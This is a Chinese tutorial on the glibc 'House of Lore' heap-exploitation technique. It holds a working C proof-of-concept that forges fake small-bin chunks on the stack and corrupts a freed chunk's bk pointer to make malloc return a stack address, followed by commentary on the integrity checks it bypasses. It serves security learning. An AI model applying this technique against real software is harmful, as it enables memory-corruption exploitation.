堆利用系列九:House of Lore

house of lore例程

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
#include <stdio.h>
#include <stdlib.h>

int main(void)
{

puts("So let's cover House of Lore.");
puts("House of Lore focuses on attacking the small bin to allocate a chunk outside of the heap.");
puts("We will essentially create two fake small bin chunks, then overwrite the bk pointer of the small bin chunk to point to the first chunk.");
puts("Then just allocate chunks until we get a fake chunk.");
puts("It's sort of like a fast bin attack, however with more setup and restrictions.");
puts("Let's get started.\n\n");




printf("We will start off by grooming the heap so we can do House of Lore.\n");
printf("For that we will need a chunk in the small bin that we can edit with some sort of bug.\n");
printf("For this we will allocate a small bin size chunk (by default on x64 it is greater than 0x80 and less than 0x400).\n\n");

unsigned long *ptr0;
ptr0 = malloc(0x200);

printf("Allocated chunk at:\t%p\n\n", ptr0);

printf("Next we will allocate another chunk, just to avoid consolidating our ptr0 chunk with the top chunk.\n\n");

malloc(0x40);

printf("Next up we will insert our first heap chunk into the unsorted bin by freeing it.\n\n");

free(ptr0);

printf("Now we will insert our unsorted bin chunk into the small bin by allocating a heap chunk big enough that it can't come out of the unsorted bin.\n");

malloc(0x500);




printf("Now that we have a chunk in the small bin, we can move on to forging the fake chunks.\n\n");

printf("The small bin is a doubly linked list, with a fwd and bk pointer.\n");
printf("The chunk that we allocate outside of the heap needs to have a fwd and bk pointer to chunks that their opposite pointers point back to them.\n");
printf("Due to checks made by malloc the fwd chunk's bk pointer needs to point to the chunk outside of the heap we will allocate with malloc, and vice versa.\n");
printf("So in total we will need three chunks, one of which is our small bin chunk, and the other two will be on the stack.\n");
printf("Our goal is to get malloc to allocate fake chunk 0 (it will be at an offset of 0x10 from the start).\n\n");

unsigned long fake0[4];
unsigned long fake1[4];

printf("Fake Chunk 0:\t%p\n", fake0);
printf("Fake Chunk 1:\t%p\n\n", fake1);

printf("Now we will write the pointers that will link our two fake chunks on the stack.\n");
printf("The bk pointer for fake chunk 0 will point to fake chunk 1.\n");
printf("The fwd pointer for fake chunk 1 will point to fake chunk 0.\n");
printf("This is because if a chunk is allocated from the small bin, the next chunk will be the bk chunk.\n");
printf("Also keep in mind, these pointers are to the start of the heap metadata.\n\n");

fake0[3] = (unsigned long)fake1;
fake1[2] = (unsigned long)fake0; //这个地方是为了绕过malloc(): smallbin double linked list corrupted

printf("Now we will write the two pointers that will link together fake chunk 0 and our small bin chunk.\n");
printf("This is also where our bug comes in to edit a freed small bin chunk.\n");
printf("We will use the bug to overwrite the bk pointer for the small bin chunk to point to point to fake chunk 0.\n");
printf("Then we will overwrite the fwd chunk of the fake chunk 0 to point to the small bin chunk.\n\n");

ptr0[1] = (unsigned long)fake0;
fake0[2] = (unsigned long)((unsigned long *)ptr0 - 2);

printf("small bin bk:\t\t0x%lx\n", ptr0[1]);
printf("fake chunk 0 fwd:\t0x%lx\n", fake0[2]);
printf("fake chunk 0 bk:\t0x%lx\n", fake0[3]);
printf("fake chunk 1 fwd:\t0x%lx\n\n", fake1[2]);




printf("Now that our setup is out of the way, let's have malloc allocate fake chunk 0.\n");
printf("We will allocate a heap chunk equal to the size of our small bin chunk.\n");
printf("This will allocate our small bin chunk, and move our fake chunk to the top of the small bin.\n");
printf("Then with another allocation we will get our fake chunk from malloc.\n\n");

printf("Allocation 0:\t%p\n", malloc(0x200)); // b1
printf("Allocation 1:\t%p\n", malloc(0x200)); // b2

printf("\nJust like that, we executed a House of Lore attack!\n");
}

通过下图了解glibc到底改变了哪些指针

1.黑色箭头为0x210的chunk刚放到small bin的双向链表上的情况,此时small bin的fd bk指针都指向这个0x210chunk,该chunk的fd,bk指针也都指向small bin。

2.红色箭头是使用一些漏洞对已经释放的chunk进行操作,让它的bk指针指向我们能够控制的fake0,对fake0和fake1的操作都是为了规避glibc对small bin双向链表的校验,假设victim这个chunk已经存放在了small bin上了,如果vicitim正好满足一个新的请求,glibc会去校验vicitim的后面一个chunk的fd指针,校验它是不是指向vicitim,如果不满足则直接报错崩溃。
fake0[2] = (unsigned long)((unsigned long *)ptr0 - 2);这条是为了满足后面一次malloc的校验,fake0[3] = (unsigned long)fake1;fake1[2] = (unsigned long)fake0;这两条是为了满足后面第二次malloc的校验。

3.绿色的箭头是b1处malloc后的指针情况,当从small bin的链表上取chunk的时候,是从尾部取出chunk,然后修改两个指针。

4.紫色箭头是b2处的malloc后的指针情况,同样要修改两个指针。

思考一下应用条件,需要有能力修改一个已经释放到small bin上的chunk,需要有能力控制一块内存区域去构造两个虚假的chunk。